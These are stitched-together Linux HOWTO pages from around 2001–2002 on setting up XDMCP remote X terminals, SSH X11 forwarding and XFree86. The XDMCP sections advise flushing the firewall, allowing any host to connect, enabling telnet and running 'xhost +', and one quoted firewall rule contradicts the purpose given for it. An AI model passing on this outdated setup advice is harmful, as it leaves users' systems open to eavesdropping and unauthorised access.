GDM also supports the X Display Manager Protocol (XDMCP) for managing remote displays. GDM listens to UDP port 177 and will respond to QUERY and BROADCAST_QUERY requests by sending a WILLING packet to the originator. GDM can also be configured to honor INDIRECT queries and present a host chooser to the remote display. GDM will remember the user's choice and forward subsequent requests to the chosen manager. GDM only supports the MIT-MAGIC-COOKIE-1 authentication system. Little is gained from the other schemes, and no effort has been made to implement them so far. Since it is fairly easy to do denial of service attacks on the XDMCP service, GDM incorporates a few features to guard against attacks. Please read the XDMCP reference section below for more information.

Even though GDM tries to outsmart potential attackers, it is still advised that you block UDP port 177 on your firewall unless you really need it. GDM guards against DoS attacks, but the X protocol is still inherently insecure and should only be used in controlled environments. Even though your display is protected by cookies the XEvents and thus the keystrokes typed when entering passwords will still go over the wire in clear text. It is trivial to capture these. You should also be aware that cookies, if placed on an NFS mounted directory, are prone to eavesdropping too.

Prev | Home | Next
Troubleshooting |  | Additional References


Linux XDMCP HOWTO

Thomas Chao

tomchao@lucent.com

Revision History
Revision v1.2 | 15 March 2002 | Revised by: tc
Adding more info for Red Hat 7.2, Mandrake 8.1 and Slackware 8.0 Linux configuration and SSH X11 Forwarding.
Revision v1.1 | 20 March 2001 | Revised by: tc
Revision and adding RH 7.0.
Revision v1.0 | 01 November 2000 | Revised by: tc
Initial revision and release.

This HOWTO describes how you can use the combination of X Display Manager (xdm, kdm and gdm) and XDMCP (X Display Manager Control Protocol) to provide the mechanism for an X-Terminal and a platform of cheap Remote X Apps solution. This document will be focusing on how to setup connection using XDMCP.

Table of Contents
1. Introduction
1.1. Disclaimer
1.2. Feedback
2. The Procedure
2.1. Before you begin, some backgrounds
2.2. Security Reminder
2.3. The System I use
2.4. Remote piece
2.5. Server Preparation
2.6. Steps to Complete the Procedures
2.7. Testing
3. X11 Forwarding using SSH
4. Troubleshooting
5. XDMCP and GDM (Gnome Display Manager)
6. Additional References
7. Authors
8. Copyright Information
Next
Introduction


Introduction

Linux XDMCP HOWTO
Prev Next

1. Introduction

XDMCP stands for "X Display Manager Control Protocol" and is a network protocol. It provides a mechanism for X-Server to emulates the X-Terminal to run on your PC (or MAC). This allows the X-Server to run on one or multiple X Window based applications that resides on a host machine. The X-Terminal can be displayed with an individual windows or multiple windows, based on your X client software capabilities.

Some of us who uses Linux (like me) are looking for the best parts of Linux. Among them is the ability to re-use old systems (like 486 and Pentium, Pentium II CPUs) as a X-Terminal (with the Win32 apps; like Hummingbird's Exceed, X-Win32 or X-ThinPro. For MAC, try eXodus) to run Linux X solution from any PC remotely. It is somehow very surprising that there aren't many documents on the Internet which guide you step by step on how to set this up. This is how I come up with this document as a way to share my experience with all users. Essentially, by using X and XDMCP, you can create a good, non-expansive solution of a X- environment.

1.1. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.2. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <tomchao@lucent.com>.

Prev | Home | Next
Linux XDMCP HOWTO |  | The Procedure


The Procedure

Linux XDMCP HOWTO
Prev Next

2. The Procedure

This section details the procedures for setting up X-Terminal using XDMCP.

2.1. Before you begin, some backgrounds

Before you begin, it is better to have a basic understanding of how this works. (More details are at the Resources below and LDP HOWTO page)

The X server is usually started from the X Display Manager program (xdm, kdm and gdm. This document will use gdm as an example). It provides a nice and consistent interfaces for general users (X-based login, starting up a window manager, clock, etc.). X Display Manager manages a collection of X displays, which may be on the local host or remote servers.

When xdm runs, it is usually run as a local copy of X, also xdm can listen for requests from remote hosts over a network. For kdm (which comes with the KDE desktop), it is a replacement of xdm and configures the same way, except its files are in /etc/X11/kdm. The gdm ( Gnome Display Manager) is a re-implementation of the xdm program. gdm has similar functions to xdm and kdm, but was written from scratch and does not contain any original XDM / X Consortium code.

In the case of xdm, it offers display management in two different ways. It can manage X servers running on the local machine and specified in X-servers, and it can manage remote X-servers (typically X-terminals) using XDMCP (the XDM Control Protocol) as specified in the Xaccess file. (Courtesy of xdm man page).

Other good references for the similar setup can be found in the following documents:

  • The XDM and Xterminal mini-HOWTO, by Kevin Taylor

  • Linux Remote X Apps mini HOWTO A very good reference for Remote X in both theoretical and practical view. By Vincent Zweije

  • The Xterminal mini-HOWTO, by Scot W. Stevenson

2.2. Security Reminder

Using XDMCP is inherently insecure, therefore, most of the distributions shipped as it's XDMCP default turned off. If you must use XDMCP, be sure to use it only in a trusted networks, such as corporate network within a firewall. Unfortunately, XDMCP uses UDP, not TCP, therefore, it is not natively able to use it with SSH. To secure the connection with SSH, the technique is called X11 TCP/IP Port Forwarding. Check this Why Port Forwarding? site and the Resources area for additional HOW-TO information. If you would like to experiment this, I have added a new section below to show you the basic idea of how it works, and I am leaving the more advanced way of running it to other experts and/or HOWTOs.

2.3. The System I use

I have tested the setup running a GNOME (gdm), as well as KDE (kdm) on Red Hat 6.0, 6.2 and Red Hat 7.x (up to 7.2). (Thanks to Peter van Eerten in Netherlands who provides info regarding Slakware 8.0 setup. Many others also provide me info regarding different distributions. I would like to thank them as well). The other I have tried on are Caldera eDesktop 2.4, which is similar to RH's setup. I have also test it on current Mandrake version (V8.1) without a problem. I have not had a chance to test it on other Linux flavors like Debian and Slackware (One Slackware user told me it works the same way as mentioned in this document). However, the setup should be similar and should works fine. If you have successfully setup one other than the Red Hat, Caldera and Mandrake platform, please share it with me. I will add them into this document.

My server hardware is an IBM PC clone running an Intel Pentium II 500 MHz with 256 MB memory and 20 GB ATA-66 Hard Drive. (I found out that my old Pentium 100 MHz PC runs this just fine). I use a 3COM 10/100 Fast Ethernet (3C509B) NIC with an ATAPI 32X CD-ROM and an IOMEGA ZIP drive. I have also test it on my Toshiba Tecra 8100 laptop connecting using my Lucent/Agere Orinico Wireless LAN card (80211.b).

2.4. Remote piece

I use the Hummingbird Exceed 6.x (with Service Pack), Exceed 7.x and have tested them on Windows 98 SE, Windows NT 4.0 and Windows 2000 Pro. I found out that another popular choice are X-Win32 and X-ThinPro. However, there are many open-source apps as well as commercial one available.

2.5. Server Preparation

In RH 7.x, you need to setup DNS lookup, in order for some networking function to work properly (such as telnet). If you are in a small isolated environment (like home or small office, etc.) that do not have access to a public DNS Server, then add entry of the working DNS Server name(s) (such as your ISP's) in the resolv.conf file or you can add the host name of all workstations in your local host table.

To prepare your X-Server for XDMCP session, you need to make sure the following are properly installed:

  1. Install your Linux OS. In my case, I installed Red Hat 7.2 (Custom Installation). If you plan to use SSH Port Forwarding, you need to compile SSH with your kernel. Also, RH 7.x comes with firewall installed as default. You will encounter problem, if you do not add firewall rules or temporary disable it for setting up XDMCP. I will not cover the firewall rules here in details, since this is not the focus of this document. I will share only how to make it works first and you can fine-tune it yourself.

    To show your firewall rules, use the command ipchains -L to list your default rule sets. To temporary disable it, use this command ipchains -F to flush the rules (Don't worry, it will restore by re-loading or re-boot). One user, Ryan Sheidow, shared with me that by adding this rule, you can do it without disable your firewall and can allow yourself to access the X-Server (you can try for yourself).

    ipchains -A input -p udp -i $extint --dport 177 -j DENY

    For more firewall details, check the IP Masquerade HOWTO page.

    One other easy way is to add rules that only accept certain IP address(es) from your trusted workstations. This is how I use it myself.

    Linux Kernel 2.4x shipped with new firewall app called iptables. Please feel free to experiment it. Again, I will not cover it here.

  2. Setup your Networking. To test it out, ping, ftp and telnet are good commands to use to determine if your network works. RH 7.2 do not have telnet daemon turn on by default. Remember to enable it, if you prefer to use it for your test. One other thing is to remember firewall rules are there. Add your own rules or temporary disable it (as mentioned above) to make these commands work.

  3. Setup X. Do not setup with a resolution higher than what the remote users are able to use for their display. Test the X-Server by typing either startx or telinit 5. Make sure X is running properly.

  4. Creates the necessary user accounts (and associated groups) for user who will access via the X-Terminal.

2.6. Steps to Complete the Procedures

These are steps I used to setup the X-server for accepting XDMCP requests:

  1. For RH 6.2, modify /etc/rc.d/init.d/xfs and make the following changes. Change all (this is where the Font Server port):

    daemon xfs -droppriv -daemon -port -1

    to:

    daemon xfs -droppriv -daemon -port 7100

    In Mandrake 7.2, the port is already set to 7100. Also, in RH 7.x, you do not need to do this, since by default, it is, for security enhancement, not listening to TCP port any longer! If you need to setup default font server to use, do it in /etc/X11/fs/config and add the setting there. Different Linux distribution may put the xfs in different folder under /etc/rc.d. You may search for it if that's the case.

  2. Modify /etc/X11/xdm/xdm-config and make the following change. Be default (in most Linux distributions), this line is set, so that it is not listening to XDMCP connection. This is for security reason. For Caldera using kdm, this file is at /etc/X11/kdm. Find this line:

    DisplayManager.requestPort:     0

    and comment it out as:

    ! DisplayManager.requestPort:     0

    Remember, this does not affects gdm. For gdm setup, it is in the following section.

  3. In /etc/X11/xdm/Xaccess, change this. (this allow all hosts to connect). For Caldera using kdm, this file is at /etc/X11/kdm. Set the security to 644 (chmod 644):

    #*    # any host can get a login window

    to:

    *     # any host can get a login window

    xdm usually run as a local copy of X and can listen for requests from remote hosts over a network. xdm reads its configuration files /etc/X11/xdm/xdm-config for all configuration and log files that xdm uses. For kdm, it is a replacement of xdm and configures the same way, except its files are in /etc/X11/kdm for Caldera. It is worth noting that the Xsession file is what runs your environment.

    The gdm (Gnome Display Manager) is a re-implementation of the well known xdm. gdm has similar functions to xdm and kdm, gdm is the Gnome Display Manager, and its configuration files are found in /etc/X11/gdm/gdm.conf. The gdm.conf file contains sets of variables and many options for gdm, and the Sessions directory contains a script for each session option; each script calls /etc/X11/xdm/Xsession with the appropriate option.

    The above setup is in a Broadcast mode, which will list all the X-Server that are listening and willing to manage your X connection. If you only want to allow certain connections, use the CHOOSER section in this same file. An example can be found in the Resources.

  4. I use the gdm as default and use gdm login window to switch between KDE and GNOME. For gdm, edit /etc/X11/gdm/gdm.conf. This activates XDMCP, causing it to listen to the request. (For kdm, if you are using KDE2, edit /usr/share/config/kdm/kdmrc or /opt/kde2/share/config/kdm/kdmrc for Slackware version). Change this:

    [xdmcp]
Enable=0

    to:

    Enable=1

    Make sure "Port=177" is at the end of this block. For Caldera using kdm, modify this file /usr/share/config/kdm/kdmrc.

  5. Now edit /etc/inittab and change the following line:

    id:3:initdefault:

    to:

    id:5:initdefault:

    Before changing this line, you can use the telinit command (or preferably ssh command) to test prior to modifying the line. Use either telinit 3 to set to level 3, or telinit 5 to set to level 5, graphics mode (you can issue this command on the second machine that telnets into this server).

  6. Make sure the proper security of the file /etc/X11/xdm/Xservers is set to 444 (chmod 444).

  7. Locate /etc/X11/xdm/Xsetup_0 and chmod 755 this file.

  8. Edit the XF86Config file (if you are using XFree86 4.x, the file is XF86Config-4) at /etc/X11 and change the line, if you are using RH Linux:

    FontPath    "unix:-1"

    to:

    FontPath    "unix:7100"

  9. (You do not have to make this change. You can keep the default setting, but this is what I use. If you are not sure, leave this alone.) Add this line to the end of /etc/inittab:

    x:5:respawn:/usr/bin/gdm

You are now ready to run a test.

One other thing to know (that some users have asked) is how to display with Willing to manage message with load info As I know this is available in xdm by adding the following to the /etc/X11/xdm/xdm-config.
DisplayManager.willing:  su noboby -c /etc/X11/xdm/XWilling
and the XWilling script must exist. For gdm, add this line to the /etc/X11/gdm/gdm.conf in [security] section:
Willing=/etc/X11/gdm/Xwilling

2.7. Testing

To test if your XDMCP with X-Server is ready to accept connections, do these steps. I find it easier using the X-Server and another machine to test it:

  1. Restart your display manager gdm (or xdm and I am assuming you are running level 5). If you are not sure how to do this, simply reboot your system (but this is really not necessary, if you know how to restart it using command line. That's the beauty of Linux, comparing to my Windows).

  2. If you have not modify your firewall rules, you need to temporary disable it by using ipchains -F.

  3. Make sure the Graphical login page comes up. Make sure the display resolution and mouse work. Log in from the console to see if the local access is OK. If OK, do not log off.

  4. Setup Hummingbird Exceed to either query this machine (using the IP address or fully qualified DNS name) or set to use XDMCP-Broadcast and try to connect to the X server. You should see the X Session come up and the login screen appear.

Prev | Home | Next
Introduction |  | X11 Forwarding using SSH


Additional References

Linux XDMCP HOWTO
Prev Next

6. Additional References

Some additional references on this subject include:

  • Your local xdm man page.

  • Your local gdm man page.

  • Configuring XDM

  • xdmcp/udp

  • XDMCP Documentation (File download)

  • Should you be running XDMCP?

  • X Window System Terminals

  • A second way of using XDM

  • Accessing Xterms from Windows

  • How to install X-Win32

  • Taming the X Display Manager

  • Why Port Forwarding?, Port Forwarding, SSH: X11 Forwarding

  • GNOME Display Manager

  • Through the X Window (for MAC)

  • Securing Services on your system (Debian)

  • Remote X using KDM (Caldera)

Prev | Home | Next
XDMCP and GDM (Gnome Display Manager) |  | Authors


X11 Forwarding using SSH

Linux XDMCP HOWTO
Prev Next

3. X11 Forwarding using SSH

As I have explained earlier, using XDMCP to display X across Internet is basically a no-no, due to it's lack of encryption across the Internet. One way of enforce the traffic security is to use the SSH by the way of X11 forwarding. SSH (Secure Shell) is developed in 1995 by Tatu Ylonen to replace the insecure telnet and ftp. The first thing you need to know is that X11 forwarding using SSH is different from your regular, non-secure way of running X Window.

To start this setup, you need an additional piece of information. First, you must have your SSH package installed. In Linux, they are the OpenSSH packages. Check your distribution to decide what package you need to install (some installed it as standard packages). Secondly, you need a Windows SSH Client (other OS version, like MAC, are also available). I recommend PuTTY. It is a wonderful free SSH client and you can download them from this link. Download the document as well and read them carefully. The other good free SSH client are: Tera Term Pro + TTSSH: An SSH Extension to Tera Term, SSH Secure Shell Client by SSH.com (only free for non-commercial use). I will break down again into steps, so it is easy for you to follow.

  1. Open up the command putty.exe by double-click it. It will brings up the interface. First, setup the connection info in Host Name (or use IP) field and select SSH (SSH is using port 22). In Connection Category, find the Connection tree. In SSH, expand it and you will see Tunnels window. Click "Enable X11 forwarding". It is setting the default to X display at "localhost:0". Now, go back to Session and save this session with a name you like. I normally use the Host Name to make me easily remember where I am connecting to.

  2. In the example of Hummingbird Exceed, this is what you need to do. (For other X client, the setup is similar). Open up the Xconfig from your Exceed folder. In your "Screen Definition", change to "Multiple" Window mode and save it. Next, open up your "Communication" icon and set the Startup mode to "Passive".

  3. Now you are done. To test it, first using PuTTY (or other SSH client) to connect to your server. The first time connection, it will ask you whether you want to cache the Security Key or not. (Yes is normal choice). Once log in is done, fire up your Exceed. It will stay in the background. Now you can execute any of your X application and it should forward the X application via SSH to your local screen. For example:
    $ xclock &

    We should now see the Xclock is running on your local screen.

Now you see the difference is that you do not see all your X Window. You are simply running X application one by one and forwarding via SSH to your local screen. Therefore, you need to know the command for running each X application. All the control are done via SSH client window. To me, the security is worth the slightly inconvenience!

For user running the X-Win32, you can use this link for your SSH + X11 forwarding setup.

Prev | Home | Next
The Procedure |  | Troubleshooting


Troubleshooting

Linux XDMCP HOWTO
Prev Next

4. Troubleshooting

  • If X cannot come up and is broken:

    If X is broken and the connection fails, most of the time it has this error messages:

           _ FontTransSocketUNIXConnect: Can't connect: errno = 111
       failed to set default font path 'unix:-1'
       Fatal server error:
       could not open default font 'fixed'

    This is likely due to xfs not finding the correct port for the Font Server (again, if you are running RH 6.2). To resolve this, check steps 1 and 7 above. Make sure the configuration are pointing to (port) 7100 and make sure you have the following fonts installed (if not re-install the XFree86 font packages from your CD). Check the listing in XF86Config file (if you are using XFree86 4.x, the file is XF86Config-4) at /etc/X11:

             FontPath  "/usr/lib/X11/fonts/75dpi/"
         FontPath  "/usr/lib/X11/fonts/misc/"
         FontPath  "/usr/lib/X11/fonts/CID"
         FontPath  "/usr/lib/X11/fonts/Speedo"
         FontPath  "/usr/lib/X11/fonts/100dpi"

    Use the command startx (on local) to restart the X server (or use telinit 5 to switch the run-level).

  • If Exceed has no respond (in blank screen):

    In this case, most likely your xdm (or gdm, depending upon which is used in /etc/inittab) is not starting correctly. Issue the command: ps -ef | grep gdm (or ps -ef | grep xdm if xdm is used). Also, if your box has udp port turned on for XDMCP, you can type netstat -l | grep xdmcp and you should see this:

             udp    0    0  *:xdmcp		*:*

    If the process is not running, check the steps on the setup above (make sure there are no typos and that the correct path is given). Restart X using the command telinit 5. If the udp port is not there for XDMCP, do step 2 as above.

    Another possibilities are that your DNS setup is incorrect and/or firewall is enabled. An easy way to find out is simply ping or telnet your host and if the reply takes a long time, then that's DNS problem. If by using telnet and you got a "Connection Refused", then this is a firewall problem (assuming that you have your telnet daemon turned on already)! Check the section above for details how to resolve this.

  • PC Box with PPPoE (PPP over Ethernet):

    A user using PPPoE told me that if you have PPPoE, you might experience problem using XDMCP. After uninstall it, he then is able to get XDMCP working. I personally do not have the environment to test this, so you can test it yourself.

  • Linux to Linux Display export:

    If you are using another Linux with X, you do not need to use XDMCP to manage your display. You can actually export your display right in your X box. To do this, you must enable your access control to allow to make connection to the X Server. The common error you will get without doing so are:

    xlib: Connection refused (error 111): unable to connect to X server
xlib: No such process (error 3): Server error

    To resolve the problem, use the command below:
    $ xhost +
$ export DISPLAY=(your local host IP):0.0

    Always remember to enable access control by using the command "xhost -" again. One thing to remind you, you do not need this, if you are using PC as X-Terminal using XDMCP. This is only required when you have Linux to Linux or Linux to UNIX connection.

    If you are using many Linux X boxes and you would like to setup the Chooser to pick from which X to login, you need to enable the following in the /etc/X11/gdm/gdm.conf:
    [daemon]
Chooser=/usr/bin/gdmchooser --disable-sound --disable-crash-dialog
...
[xdmcp]
Enable=1
HonorIndirect=1

  • I got a "Signal 11" error:

    The "Signal 11" error, also called "Segmentation Fault", can sometimes be a problem of your hardware and/or software. If you have this problem in bring up the X-server, you need to fix it before configuring XDMCP. Unfortunately, there is no simple way to fix the problem due to many possible causes. For details, please check this SIG 11 while compiling the Kernel.

Prev | Home | Next
X11 Forwarding using SSH |  | XDMCP and GDM (Gnome Display Manager)


The Linux XFree86 HOWTO

Eric Steven Raymond

Thyrsus Enterprises

esr@thyrsus.com

Copyright © 2000 by Eric S. Raymond

$Date: 2001/09/09 08:29:29 $

Revision History
Revision 7.2 | 2001-09-09 | Revised by: esr
XFree86 site has changed directory structure.
Revision 7.1 | 2001-08-09 | Revised by: esr
Configuration has changed, and is now much simpler.
Revision 7.0 | 2000-08-21 | Revised by: esr
First DocBook version.

This document describes how to obtain, install, and configure version 4.1.0 of the XFree86 version of the X Window System (X11R6) for Linux systems. It is a step-by-step guide to configuring XFree86 on your system.

Table of Contents
1. Introduction
1.1. Other sources of information
1.2. New versions of this document
1.3. Feedback and Corrections
2. Hardware requirements
3. Installing XFree86
4. Configuring XFree86
4.1. Normal Configuration
5. Running XFree86
6. Translations
Next
Introduction


Introduction

The Linux XFree86 HOWTO
Prev Next

1. Introduction

The X Window System is a large and powerful (some might say excessively large and overly complex) graphics environment for UNIX systems. The original X Window System code was developed at MIT; commercial vendors have since made X the industry standard for UNIX platforms. Virtually every UNIX workstation in the world runs some variant of the X Window system.

A freely redistributable port of the MIT X Window System version 11, release 6 (X11R6) for 80386/80486/Pentium UNIX systems has been developed by a team of programmers originally headed by David Wexelblat <dwex@XFree86.org>. The release, known as XFree86, is available for System V/386, 386BSD, and other x86 UNIX implementations, including Linux. It includes all of the required binaries, support files, libraries, and tools.

Complete information on XFree86 is available at the XFree86 web site, http://www.XFree86.org.

In this document, we'll give a step-by-step description of how to install and configure XFree86 for Linux, but you will have to fill in some of the details yourself by reading the documentation released with XFree86 itself. (This documentation is discussed below.) However, using and customizing the X Window System is far beyond the scope of this document---for this purpose you should obtain one of the many good books on using the X Window System.

1.1. Other sources of information

If you have never heard of Linux before, there are several sources of basic information about the system. The best place to find these is at the Linux Documentation Project home page. You can find the latest, up-to-date version of this document there, as http://metalab.unc.edu/LDP/HOWTO/XFree86-HOWTO.html.

1.2. New versions of this document

New versions of the Linux XFree86 HOWTO will be periodically posted to comp.os.linux.help and comp.os.linux.announce and news.answers. They will also be uploaded to various Linux WWW and FTP sites, including the LDP home page.

You can always view the latest version of this on the World Wide Web via the URL http://www.linuxdoc.org/HOWTO//XFree86-HOWTO.html.

This document was originally written by Matt Welsh in the dim and backward abysm of time. Thanks, Matt!

1.3. Feedback and Corrections

If you have questions or comments about this document, please feel free to mail Eric S. Raymond, at <esr@thyrsus.com>. I welcome any suggestions or criticisms. If you find a mistake with this document, please let me know so I can correct it in the next version. Thanks.

Please do not mail me questions about how to make your video card and monitor work with X. This HOWTO is intended to be a rapid, painless guide to normal installation using the new interactive configurator. If you run into problems, browse the XFree86 Video Timings HOWTO. (This is the up-to-date HTML version of XFree86's `Videomodes.doc' file.) That document tells everything I know about configuration troubleshooting. If it can't help you, I can't either.

Prev | Home | Next
The Linux XFree86 HOWTO |  | Hardware requirements


Hardware requirements

The Linux XFree86 HOWTO
Prev Next

2. Hardware requirements

You can find an up-to-date list of supported cards and chipset types at the 4.1.0 status page.

The documentation included with your video adaptor should specify the chipset used. If you are in the market for a new video card, or are buying a new machine that comes with a video card, have the vendor find out exactly what the make, model, and chipset of the video card is. This may require the vendor to call technical support on your behalf; in general vendors will be happy to do this. Many PC hardware vendors will state that the video card is a ``standard SVGA card'' which ``should work'' on your system. Explain that your software (mention Linux and XFree86!) does not support all video chipsets and that you must have detailed information.

You can also determine your videocard chipset by running the SuperProbe program included with the XFree86 distribution. This is covered in more detail below.

Supported video cards will work with all bus types, including ISA and VLB and PCI.

One problem faced by the XFree86 developers is that some video card manufacturers use non-standard mechanisms for determining clock frequencies used to drive the card. Some of these manufacturers either don't release specifications describing how to program the card, or they require developers to sign a non-disclosure statement to obtain the information. This would obviously restrict the free distribution of the XFree86 software, something that the XFree86 development team is not willing to do. For a long time, this has been a problem with certain video cards manufactured by Diamond, but as of release 3.1 of XFree86, Diamond has started to work with the development team to release free drivers for these cards.

The suggested setup for XFree86 under Linux is a 486 or better with at least 8 megabytes of RAM, and a video card with a chipset listed above. For optimal performance, we suggest using an accelerated card, such as an S3-chipset card. You should check the documentation for XFree86 and verify that your particular card is supported before taking the plunge and purchasing expensive hardware.

As a side note, the personal Linux system of Matt Welsh (this FAQ's originator) was a 486DX2-66, 20 megabytes of RAM, equipped with a VLB S3-864 chipset card with 2 megabytes of DRAM. He ran X benchmarks on this machine as well as on Sun Sparc IPX workstations. The Linux system was roughly 7 times faster than the Sparc IPX (for the curious, XFree86-3.1 under Linux, with this video card, runs at around 171,000 xstones; the Sparc IPX at around 24,000). In general, XFree86 on a Linux system with an accelerated SVGA card will give you much greater performance than that found on commercial UNIX workstations (which usually employ simple framebuffers for graphics).

Your machine will need at least 4 megabytes of physical RAM, and 16 megabytes of virtual RAM (for example, 8 megs physical and 8 megs swap). Remember that the more physical RAM that you have, the less that the system will swap to and from disk when memory is low. Because swapping is inherently slow (disks are very slow compared to memory), having 8 megabytes of RAM or more is necessary to run XFree86 comfortably. 16 is better. A system with 4 megabytes of physical RAM could run much (up to 10 times) more slowly than one with 8 megs or more.

Prev | Home | Next
Introduction |  | Installing XFree86


Installing XFree86

The Linux XFree86 HOWTO
Prev Next

3. Installing XFree86

It's quite likely that you obtained XFree86 as part of a Linux distribution, in which case downloading the software separately is not necessary. Or you may be able to get RPM binary packages built for your machine, in which case you can just install those using rpm(1). In either case you can skip this the rest of this section.

The Linux binary distributions of XFree86 can be found on a number of FTP sites. On the XFree86 site they are here. You will want either the Linux-axp-glibc21, Linux-ix86-glibc20, or Linux-ix86-glibc21 subdirectories, depending on your processor type (axp=alpha, ix86=Intel 80x86) and Gnu C library version.

Before doing anything else, download and run the `Xinstall.sh' shell script first. This may tell you about prerequisites you'll need to have in place before continuing your installation. Complete instructions for installing the XFree86 binary distribution are at http://www.xfree86.org/4.1.0/Install2.html.

The binary directory should contain release notes for the current version in RELNOTES. Consult those for installation details.

All that is required to install XFree86 is to obtain the above files, create the directory /usr/X11R6 (as root), and unpack the files from /usr/X11R6 with a command such as:

gzip -dc Xbin.tgz | tar xfB -

Remember that these tar files are packed relative to /usr/X11R6, so it's important to unpack the files there.

You need to make sure that /usr/X11R6/bin is on your path. This can be done by editing your system default /etc/profile or /etc/csh.login (based on the shell that you, or other users on your system, use). Or you can simply add the directory to your personal path by modifying .bashrc or .cshrc, based on your shell.

You also need to make sure that /usr/X11R6/lib can be located by ld.so, the runtime linker. To do this, add the line:

/usr/X11R6/lib

to the file /etc/ld.so.conf, and run /sbin/ldconfig, as root.

Prev | Home | Next
Hardware requirements |  | Configuring XFree86


Configuring XFree86

The Linux XFree86 HOWTO
Prev Next

4. Configuring XFree86

4.1. Normal Configuration

Configuring XFree86 to use your mouse, keyboard, monitor, and video card correctly used to be something of a black art, requiring extensive hand-hacking of a complex configuration file. No more; recent releases have made the process nearly trivial. It simplifies matters a lot that there are no longer separate servers for different kinds of cards, just modules loaded by a common server.

If you're enabling X as you intall a Linux distribution, the distribution install script will ask the few questions needed to configure X. Otherwise, all you need do to configure it is fire up the command XFree86 -configure.

Both methods depend on the fact that all new PC hardware these days ships with monitors that can tell X what their capabilities are. When invoked in this mode, X does that query and also polls your hardware for the presence of a mouse and keyboard. It then writes out a configuration file thar is used by later runs of X.

One minor point to keep in mind is that, if you're like most people using a current PC, your keyboard is actually what XF86Setup calls `Generic 102-key PC (intl)' rather than the default `Generic 101-key PC'. If you pick the default (101) the key cluster on the extreme right of your keyboard (numeric keypad and friends) may stop working.

Prev | Home | Next
Installing XFree86 |  | Running XFree86


Running XFree86

The Linux XFree86 HOWTO
Prev Next

5. Running XFree86

With your XF86Config file configured, you're ready to fire up the X server and give it a spin. First, be sure that /usr/X11R6/bin is on your path.

The command to start up XFree86 is

startx

This is a front-end to xinit (in case you're used to using xinit on other UNIX systems).

This command will start the X server and run the commands found in the file .xinitrc in your home directory. .xinitrc is just a shell script containing X clients to run. If this file does not exist, the system default /usr/X11R6/lib/X11/xinit/xinitrc will be used.

A standard .xinitrc file looks like this:

#!/bin/sh

xterm -fn 7x13bold -geometry 80x32+10+50 &
xterm -fn 9x15bold -geometry 80x34+30-10 &
oclock -geometry 70x70-7+7 &
xsetroot -solid midnightblue &

exec fvwm2

This script will start up two xterm clients, an oclock, and set the root window (background) color to midnightblue. It will then start up fvwm2, the window manager. Note that fvwm2 is executed with the shell's exec statement; this causes the xinit process to be replaced with fvwm2. Once the fvwm2 process exits, the X server will shut down. You can cause fvwm2 to exit by using the root menus: depress mouse button 1 on the desktop background -- this will display a pop up menu which will allow you to Exit Fvwm2.

Be sure that the last command in .xinitrc is started with exec, and that it is not placed into the background (no ampersand on the end of the line). Otherwise the X server will shut down as soon as it has started the clients in the .xinitrc file.

Alternately, you can exit X by pressing ctrl-alt-backspace in combination. This will kill the X server directly, exiting the window system.

The above is a very, very simple desktop configuration. Many wonderful programs and configurations are available with a bit of work on your .xinitrc file.

If you are new to the X Window System environment, we strongly suggest picking up a book such as The Joy of X: An Overview of the X Window System by Niall Mansfield (Addison-Wesley 1993, ISBN 0201-565129). Using and configuring X is far too in-depth to cover here. See the man pages for xterm, oclock, and fvwm2 for clues on getting started.

Prev | Home | Next
Configuring XFree86 |  | Translations


Translations

The Linux XFree86 HOWTO
Prev

6. Translations

  • Italian

  • Slovenian

  • Croatian

  • Dutch

  • Hungarian

Prev | Home
Running XFree86 |


Questions and Answers

XFree86 Video Timings HOWTO
Prev Next

15. Questions and Answers

Q: The example you gave is not a standard screen size, can I use it?
Q: It this the only resolution given the 65Mhz dot clock and 55Khz HSF?
Q: You just mentioned two standard resolutions. In Xconfig, there are many standard resolutions available, can you tell me whether there's any point in tinkering with timings?
Q: Can you summarize what we have discussed so far?

Q: The example you gave is not a standard screen size, can I use it?

A: Why not? There is NO reason whatsover why you have to use 640x480, 800x600, or even 1024x768. The XFree86 servers let you configure your hardware with a lot of freedom. It usually takes two to three tries to come up the right one. The important thing to shoot for is high refresh rate with reasonable viewing area. not high resolution at the price of eye-tearing flicker!

Q: It this the only resolution given the 65Mhz dot clock and 55Khz HSF?

A: Absolutely not! You are encouraged to follow the general procedure and do some trial-and-error to come up a setting that's really to your liking. Experimenting with this can be lots of fun. Most settings may just give you nasty video hash, but in practice a modern multi-sync monitor is usually not damaged easily. Be sure though, that your monitor can support the frame rates of your mode before using it for longer times.

Beware fixed-frequency monitors! This kind of hacking around can damage them rather quickly. Be sure you use valid refresh rates for every experiment on them.

Q: You just mentioned two standard resolutions. In Xconfig, there are many standard resolutions available, can you tell me whether there's any point in tinkering with timings?

A: Absolutely! Take, for example, the "standard" 640x480 listed in the current Xconfig. It employes 25Mhz driving frequency, frame lengths are 800 and 525 => refresh rate ~ 59.5Hz. Not too bad. But 28Mhz is a commonly available driving frequency from many SVGA boards. If we use it to drive 640x480, following the procedure we discussed above, you would get frame lengths like 812 (round down to 808) and 505. Now the refresh rate is raised to 68Hz, a quite significant improvement over the standard one.

Q: Can you summarize what we have discussed so far?

A: In a nutshell:

  • for any fixed driving frequency, raising max resolution incurs the penalty of lowering refresh rate and thus introducing more flicker.

  • if high resolution is desirable and your monitor supports it, try to get a SVGA card that provides a matching dot clock or DCF. The higher, the better!

Prev | Home | Next
Using Interlaced Modes |  | Fixing Problems with the Image.


Basic Things to Know about your Display and Adapter

XFree86 Video Timings HOWTO
Prev Next

6. Basic Things to Know about your Display and Adapter

There are some fundamental things you need to know before hacking an Xconfig entry. These are:

  • your monitor's horizontal and vertical sync frequency options

  • your monitor's bandwidth

  • your video adapter's driving clock frequencies, or "dot clocks"

6.1. The monitor sync frequencies

The horizontal sync frequency is just the number of times per second the monitor can write a horizontal scan line; it is the single most important statistic about your monitor. The vertical sync frequency is the number of times per second the monitor can traverse its beam vertically.

